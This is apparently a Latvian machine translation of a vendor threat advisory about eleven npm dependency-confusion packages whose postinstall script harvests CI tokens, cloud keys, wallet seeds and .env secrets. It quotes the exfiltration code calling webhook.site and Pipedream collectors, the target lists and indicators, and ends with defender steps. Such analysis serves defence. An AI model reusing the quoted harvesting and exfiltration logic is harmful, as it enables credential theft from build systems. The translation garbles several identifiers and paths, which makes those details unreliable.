CryptoDAO apjukums: npm pakotņu apkopošana CI/CD un kriptovalūtu noslēpumi

CryptoDAO apjukums: vienpadsmit npm paketes, viena lietderīgā slodze, novākšana CI/CD un kriptovalūtu maku noslēpumi

TL; DR

2026. gada 17. jūnijā tika publicēts viens npm konts. vienpadsmit pakotnes, kurām ir viens mērķis un viena lietderīgā vērtībaDesmit no viņiem nes cryptodao- prefikss (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); vienpadsmitais ir aptvertais @public-for-cdao/coreKatrs no tiem tika publicēts versijā 99.99.99 un nosūta baitiem identisku recon.js kas darbojas tālāk postinstall.

Nosaukumi ir visu atklājoši. Tie lasāmi kā kriptovalūtu/DAO projekta privātā rīku ķēdes iekšējie pamatelementi. Publicēti publiskajā npm reģistrā mākslīgi augstā versijā, tie gaida būvējumu. pipeline kas ir konfigurēts šo nosaukumu atšifrēšanai un kas sasniedz publisko npm pirms privātā reģistra vai tā vietā. Tas ir atkarības apjukums, un lietderīgā slodze ir precīzi noregulēta uz vietu, kur tā paredz nolaisties: CI/CD skrējēji.

Kad postinstall ugunsgrēki, recon.js apkopo informāciju par resursdatoru, veic aptuveni pārbaudi četrdesmit mākoņa, CI un kriptovalūtu maku vides mainīgie, nolasa jebkuru .env failus, ko tā var atrast, un burtiski pārsūta slepenās rindas, pēc tam nosūta paketi diviem savācējiem — webhook.site un Pipedream galapunkts — ar atspējotu TLS sertifikāta verifikāciju. Kopija ir rakstīta arī sadaļā /tmp.

Smagums: augstsIetekmētā ekosistēma: npmRakstīšanas brīdī visas vienpadsmit pakotnes bija pieejamas.

Uzbrukuma anatomija

Mehānismam ir četras kustīgas daļas, un neviena no tām nav nemanāma, kad to iepazīstat. paskatieties vienu slāni tālāk par pakotnes nosaukumu.

1. Versiju inflācija kā risinātāja ēsma. Katra pakotne deklarē versiju 99.99.99Atkarību apjukums rodas, ja pakotņu pārvaldnieks pieprasa iekšējais nosaukums, pārbauda arī publisko reģistru un izvēlas tā jaunāko versiju atrod. npm noklusējuma izvēle joslas vai aizstājējzīmju diapazonam ir visapmierinošākā versija visos konfigurētajos avotos; ja gan privāts reģistra un publiskās npm atbildes par vienu un to pašu nosaukumu, uzvar lielāks versijas numurs. A 99.99.99 pārspēj būtībā jebkuru reālu iekšējo versiju, kas projektam būs sasniegts, tāpēc atrisinātājs, kas nav piesaistīts privātajam avotam, dod priekšroku publiska — un šajā gadījumā naidīga — kopija. Operatoram nav jāzina mērķa reālie versiju numuri; absurda maksimuma izvēle vienmēr garantē neizšķirtu lauž viņiem ceļu.

2. Pēcinstalēšanas aktivizētājs. pack.json pieslēdz lietderīgo slodzi instalācijai dzīves cikls:

{   "scripts": { "postinstall": "node recon.js" } }

Pakotnes importēšana nav nepieciešama. Pietiek tikai to instalēt — ko veic CI. pipeline darbojas automātiski — recon.js.

3. Plaša slepena slaucīšana. recon.js saliek rezultātu masīvu posmos:

  • Resursdatora konteksts: resursdatora nosaukums, platforma un laidiens, arhitektūra, lietotājvārds, darbības princips katalogs.
  • Vides mainīgie: tas atkārto fiksētu sarakstu ar aptuveni četrdesmit nosaukumiem un ierakstiem jebkuru, kas ir iestatīts. Saraksts ir atklājošs — tas savieno vispārīgus CI žetonus (CI_JOB_TOKEN, CI_REĢISTRĀCIJAS_PAROLE, GITLAB_ACCESS_TOKEN) un mākonis akreditācijas dati (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) ar reģistra un konteinera noslēpumiem (NPM_TOKEN, DOCKER_PASSWORD, OSTAS_PARSOLE) un izteikti kriptovalūtu garšas klasteris:  PRIVATE_KEY, MNEMONISKAIS, SĒKLAS_FRĀZE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCReģistrētās vērtības tiek saīsinātas līdz pirmajām 50 rakstzīmēm.
  • .env faili: tas pārbauda ceļu sarakstu — .env, ../.env, /lietotne/.env, /lietotne/aizmugurējā sistēma/.env, /lietotne/bots/.env, /home/gitlab-runner/.env, /root/.env, un .ražošana/.attīstība varianti — un jebkuram esošam failam tas filtrē saturu atbilstoši rindām ATSLĒGA|SLEPENA|ŽETONA|CAURLAIDE|PRIVĀTA|MNEMONISKA un iespiež šīs rindas **pilnībā, neapgrieztas** rezultātos.
  • Veidošanas resursdatora konteksts: tajā ir uzskaitīti pirmie 20 ieraksti /būvē/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/, un / tmp /.

Ceļu saraksts un mainīgo saraksts ir svērts attiecībā pret GitLab izpildītājiem, kas norāda lietderīgā slodze tieši pašizvietotā CI infrastruktūrā, nevis izstrādātājā klēpjdators. Ražas saraksta grupēšana pēc kategorijas padara paredzēto lombu vienkāršu:

Kategorija Sasniegtie mainīgie/ceļi
CI/CD identitāte un izvietošana CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
mākonis AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Reģistrs un konteiners NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Datu krātuves DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Kriptovalūta/blokķēde PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
Ziņapmaiņa SLACK_TOKEN, DISCORD_TOKEN
Uz diska .env ģimene + /home/gitlab-runner/.env, /root/.env, /app/**/.envdirektoriju saraksti /builds/, /var/lib/gitlab-runner/

Kripto klasteris ir daļa, kas to atšķir no vispārīga CI-slepenā koda. slaucīšana: maka sākuma frāzes un parakstīšanas atslēgas parādās tikai vidē, kurā ir blokķēdes projekts, un tie tieši sakrīt ar kriptodao-/zīme/līgumi pārvadātāju nosaukšana.

4. Divkārša eksfiltrācija ar atspējotu verifikāciju. Savāktais masīvs ir serializēts un nosūtīts uz diviem galamērķiem:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

noraidītNeautorizēts: false izslēdz TLS sertifikātu pārbaudes izejošajiem ziņojumiem izsaukumus. Tie paši dati tiek izdrukāti uz standarta izeju (tāpēc tie nonāk arī CI darba žurnālos) un rakstīts uz /tmp/.npm_recon_ .json failsKļūdas tiek klusībā ignorētas, tāpēc a neizdevusies nosūtīšana neatstāj nekādas pēdas instalācijas izvadē, izņemot vienu [izlūkošana] instalēts uz līnija.

Faila vadošajā komentārā tas tiek raksturots kā “atkarības apjukums”. Izlūkošanas derīgā slodze.” Vides vērtību saīsināšana līdz 50 rakstzīmēm ir koncepcijas pierādījuma forma. Tas, kas to pārceļ tālāk par tikai klātbūtnes signālu, ir .env apstrāde: slepenās līnijas tiek pārsūtītas pilnībā, un galamērķi ir divi strādājoši, uzbrucēja kontrolēti kolektori, nevis izlietne, kas skaitās tikai hits.

Timeline

Publicēšanas modelis ir viena skriptēta sūtījuma paraksts, nevis vienpadsmit. neatkarīgas augšupielādes.

Laiks (UTC, 2026-06-17) notikums
03:24:58 cryptodao-bot@99.99.99 publicēti
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — variants ar optisko tēmēkli, ~24 minūtes vēlāk

29 sekunžu laikā tika izsūtītas desmit pakas, aptuveni pa vienai ik pēc trim sekundēm. Aptvertais @public-for-cdao/core sekoja apmēram 24 minūtes vēlāk — sekundi nosaukšanas konvencija tam pašam mērķim, ja patērējošais projekts atsaucas uz iekšējā rīku ķēde ar darbības jomu, nevis kā vienkārši nosaukumi.

Kompromisa rādītāji

Veids Indikators
Kolektors hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Kolektors hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Uzstādiet āķi postinstall: node recon.js
Izmests fails /tmp/.npm_recon_<timestamp>.json
Baļķu marķieris [recon] <pkg>@<ver> installed on <hostname> (standarta izeja CI žurnālos)
Uzvedība rejectUnauthorized: false izejošajā HTTPS savienojuma instalēšanas laikā
Naudas slodze recon.js, identisks visās vienpadsmit pakotnēs (viena koplietota versija)
versija 99.99.99 uz katra iepakojuma
Paketes cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (visi 99.99.99)
izdevējs aduljune / aduljune@proton.me (e-pasts nav verificēts, nav saistīta avota krātuves)

 Atribūcija un novērotā uzvedība

Viss par klasteri norāda uz vienu roku. Visas vienpadsmit paketes tika publicētas. no npm konta Aduljūna (aduljune@proton.me, nepārbaudīta adrese bez saistītajā avota krātuvē), 25 minūšu laikā, vienlaikus 99.99.99 versija, piegāde recon.js kura saturs ir baits pa baitam identisks katrā pakotne (MD5 atbilst visām vienpadsmit izvilktajām kopijām). Tā ir viena lietderīgā slodze iespiests vārdu sarakstā, nevis neatkarīga koda atkārtota izmantošana.

Nosaukumu saraksts definē paredzēto mērķi. kriptodao-* un cdao aprakstīt kripto/DAO projekta privātā moduļa izkārtojums un vērtuma ievākšanas saraksts spoguļi, kas min: līdzās vispārīgajiem CI un mākoņa noslēpumiem tas īpaši sniedzas pēc PRIVATE_KEY, MNEMONISKAIS, SĒKLAS_FRĀZEun Ethereum/BSC RPC un pakalpojumu sniedzēja atslēgas. .env meklēšanas ceļi un direktoriju saraksti ir GitLab-runner specifisks. Novērojamais efekts ir tāds, ka jebkurš pipeline apmānīti, lai instalētu šos nosaukumi pārsūtītu savus CI žetonus, mākoņa atslēgas un diskā esošos datus .env noslēpumi — un, priekš blokķēdes projekts, tā maka materiāls — diviem trešo pušu kolekcionāriem.

Mēs nesniedzam nekādas pretenzijas par to, kas pārvalda kontu vai ko viņi plānoja darīt ar to. dati. Fakti, kas paši par sevi ir spēkā: nosaukumi attiecas uz konkrēta veida iekšējā rīku ķēde, lietderīgā slodze nolasa un pārraida reālas slepenas vērtības, un infrastruktūra darbojās.

Ietekme, tendences un aizstāvju norādījumi

Atkarību apjukums joprojām ir efektīvs, jo tas izmanto atrisinātāja uzvedību, nevis a ievainojamība jebkurā iepakojumā. Pārvadātājs šeit ir triviāls — vienpadsmit gandrīz tukšas pakas — bet sprādziena rādiuss ir jebkurš pipeline kļūdaini dod priekšroku publiskai npm iekšējam nosaukumam. CI runners ir sliktākā vieta, kur tas varētu notikt: tie tur tieši žetoni un .env faili, ko šī lietderīgā slodze nolasa, un tie tiek instalēti atkarības neinteraktīvi, tāpēc a pēc instalēšanas skrien, nevienam neredzot.

Šis klasteris atbilst arī modelim, ko mēs pastāvīgi novērojam: instalēšanas laika lietderīgās slodzes, kas rada kā “izpēti” vai “izlūkošanu”, vienlaikus veicot reālu akreditācijas datu vākšanu. Etiķete failā nemaina koda darbību ar skrējēju. Saglabājas divas dizaina iespējas aktivitāte klusa: katra tīkla un failu sistēmas darbība ir ietverta izņēmumu apstrādātājs, kas atmet kļūdas, piemēram, bloķētu nosūtīšanu vai trūkstošu failu nerada diagnostikas izvadi, un vienīgais, kas tiek izdrukāts, ir viens nekaitīgs [izlūkošana] … uzstādīts rinda, kas saplūst ar parasto instalēšanas pļāpāšanu. tīmekļa vietne un Pipedream ir arī apzināta ērtība — abi ir bez maksas, tūlītēji nodrošināti pieprasījumu uztveršanas pakalpojumi, tāpēc operatoram nav nepieciešami serveri viņu pašu, un galamērķi izejošajos žurnālos izskatās kā parasti SaaS resursdatora nosaukumi.

Ekonomiskie apsvērumi ir tie, kas padara šo aizstāvja uzmanības vērtu, lai gan pārvadātāja kods ir triviāls. Vienpadsmit vārdu reģistrēšana neko nemaksā, lietderīgā slodze ir viena fails tiek kopēts vienpadsmit reizes, un pakotņu pārvaldnieks veic visu izpildi. Viens nepareizi konfigurēts pipeline jebkura vieta, kur tiek patērēts viens no šiem nosaukumiem, maksā par visu darbību.

Konkrēti soļi aizstāvjiem:

  • Piespraudiet iekšējos tvērumus savam privātajam reģistram. Konfigurējiet npm ar iekšējiem nosaukumiem
     un tvērumi tiek risināti tikai attiecībā pret jūsu reģistru (tvēruma .npmrc reģistra kartējumi,
    vai starpniekserveri, kas nekad netiek izmantots publiskajam npm piederošajām vārdtelpām). Rezervējiet savus publiskā tvēruma nosaukumus, lai neviens cits tos nevarētu reģistrēt.
  • Commit bloķēšanas failus un instalējiet ar –ignore-scripts CI ja iespējams, vai pārbaudiet nelielo atkarību kopumu, kam patiešām ir nepieciešami instalēšanas skripti.  recon.js nevar palaist, ja pēc instalēšanas netiek izpildīts.
  • Apstrādājiet 99.99.99 (vai citu absurdi augstu) iekšēji izskatīga nosaukuma versiju kā sarkans karogs atkarību pārskatīšanā un reģistra uzraudzībā.
  • Brīdinājums par instalēšanas laika izejošo plūsmu. A pēc instalēšanas kas atver izejošo HTTPS savienojums — īpaši, ja sertifikātu verifikācija ir atspējota — ar Ir vērts bloķēt webhook.site, Pipedream vai līdzīgus pieprasījumu uztveršanas pakalpojumus tīkla malā un atzīmēt tos veidošanas žurnālos.
  • Medī artefaktus. Pārbaudiet skrējējus /tmp/.npm_recon_*.json un par [recon] … instalēts … marķierī nesenajos CI žurnālos. Ja tiek atrasts, pagriezt ik pēc akreditācija, kas pakļauta tam pipeline — CI žetoni, mākoņa atslēgas, reģistra žetoni un jebkādi maka sākuma kodi vai privātās atslēgas, kas atrodas vidē vai .env failos.

Atsauces

Rakstīšanas laikā nebija ārēju ziņojumu par šo klasteri; analīze iepriekš minētais ir tieši balstīts uz publicēto iepakojuma saturu

sca-tools-software-composition-analysis-tools
Prioritizējiet, novērsiet un aizsargājiet savus programmatūras riskus
Iegūstiet savu bezmaksas kontu.
Nepieciešama kredītkarte.

Nodrošiniet programmatūras izstrādi un piegādi

ar Xygeni produktu komplektu